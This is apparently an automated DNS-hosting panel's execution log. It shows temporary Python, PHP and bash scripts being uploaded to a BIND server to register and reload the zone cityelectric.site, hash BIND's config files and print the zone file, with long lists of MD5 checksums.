MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:06:00: 

PUT: /tmp/pkp641938

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 13:06:00: 

chmod 755 /tmp/pkp641938; /tmp/pkp641938; rm /tmp/pkp641938

2026-02-09 13:06:03: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 13:06:03: 

PUT: /tmp/pkp332009

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 13:06:03: 

chmod 755 /tmp/pkp332009; /tmp/pkp332009; rm /tmp/pkp332009

2026-02-09 13:06:03: 


zone reload up-to-date


2026-02-09 13:06:03: Establishing a connection
2026-02-09 13:06:03: 

PUT: /tmp/pkp986802

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:06:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp986802; rm /tmp/pkp986802'

2026-02-09 13:06:03: 
2026-02-09 13:06:03: 

PUT: /tmp/pkp182152

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 13:06:03: 

chmod 755 /tmp/pkp182152; /tmp/pkp182152; rm /tmp/pkp182152

2026-02-09 13:06:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	1088
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134128471 14400 3600 14400 3600 )
cityelectric.site.       		 IN    NS       	ns1.hostz.org.
cityelectric.site.       		 IN    NS       	ns2.hostz.org.
@                        		 IN    A        	10.140.12.86
@                        		 IN    AAAA     	2002:0a8c:0c56:0000:0000:0000:0000:0000
_acme-challenge           60	 IN    TXT      	"e70bvyizDy7mjcpjSMUe9Iok43ywIIc6FywMiO82lZc"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                       300	 IN    A        	100.64.1.3






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
